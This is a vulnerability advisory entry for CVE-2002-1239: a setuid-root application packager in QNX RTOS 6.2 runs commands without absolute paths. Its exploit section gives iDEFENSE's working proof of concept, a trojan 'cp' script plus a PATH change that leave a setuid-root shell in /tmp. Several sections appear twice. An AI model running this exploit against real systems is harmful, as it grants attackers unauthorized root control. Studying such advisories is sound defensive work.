QNX RTOS Application Packager Non-Explicit Path Execution Vulnerability
BID:6146
Info
QNX RTOS Application Packager Non-Explicit Path Execution Vulnerability
| Bugtraq ID: | 6146 |
| Class: | Environment Error |
| CVE: |
CVE-2002-1239 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 08 2002 12:00AM |
| Updated: | Jul 11 2009 06:07PM |
| Credit: | Discovery credited to Texonet (http://www.texonet.com). |
| Vulnerable: |
QNX RTOS 6.2 |
| Not Vulnerable: | |
Discussion
QNX RTOS Application Packager Non-Explicit Path Execution Vulnerability
A vulnerability has been discovered in an application packager shipped with QNX RTOS. It should be noted that the vulnerable packager is installed setuid root by default.
It has been reported that the packager fails to use absolute paths to execute system commands. This could potentially allow an attacker to trick the program into running a trojaned binary.
Because the vulnerable packager is installed setuid root by default, this could allow a local attacker to take complete control over a system.
A vulnerability has been discovered in an application packager shipped with QNX RTOS. It should be noted that the vulnerable packager is installed setuid root by default.
It has been reported that the packager fails to use absolute paths to execute system commands. This could potentially allow an attacker to trick the program into running a trojaned binary.
Because the vulnerable packager is installed setuid root by default, this could allow a local attacker to take complete control over a system.
Exploit / POC
QNX RTOS Application Packager Non-Explicit Path Execution Vulnerability
The following proof of concept has been supplied by iDEFENSE.
$ cat > cp <<EOF
> #!/bin/sh
> /bin/cp /bin/sh /tmp/sh
> chmod 4755 /tmp/sh
> EOF
$ chmod 755 cp
The attacker then modifies the PATH environment variable to search
the current working directory before anything else:
$ PATH=$PWD:$PATH
The attacker now creates a directory and calls the packager on that
created directory:
$ mkdir temp
$ packager temp
...
The packager will ask a number of questions. When the procedure is
complete, a root shell will be waiting for the attacker:
$ ls -l /tmp/sh
- -rwsr-x r-x 1 root 100 153908 May 11 05:36 /tmp/sh
The following proof of concept has been supplied by iDEFENSE.
$ cat > cp <<EOF
> #!/bin/sh
> /bin/cp /bin/sh /tmp/sh
> chmod 4755 /tmp/sh
> EOF
$ chmod 755 cp
The attacker then modifies the PATH environment variable to search
the current working directory before anything else:
$ PATH=$PWD:$PATH
The attacker now creates a directory and calls the packager on that
created directory:
$ mkdir temp
$ packager temp
...
The packager will ask a number of questions. When the procedure is
complete, a root shell will be waiting for the attacker:
$ ls -l /tmp/sh
- -rwsr-x r-x 1 root 100 153908 May 11 05:36 /tmp/sh
Solution / Fix
QNX RTOS Application Packager Non-Explicit Path Execution Vulnerability
Solution:
This issue is said to be addressed in the upcoming QNX RTOS 6.2.1 which is expected to be released in January 2003. Concerned customers are advised to contact their QNX representative for information for obtaining a prerelease.
Solution:
This issue is said to be addressed in the upcoming QNX RTOS 6.2.1 which is expected to be released in January 2003. Concerned customers are advised to contact their QNX representative for information for obtaining a prerelease.
References
QNX RTOS Application Packager Non-Explicit Path Execution Vulnerability
References:
References:
- iDEFENSE Security Advisory 11.08.02b: Non-Explicit Path ("David Endler"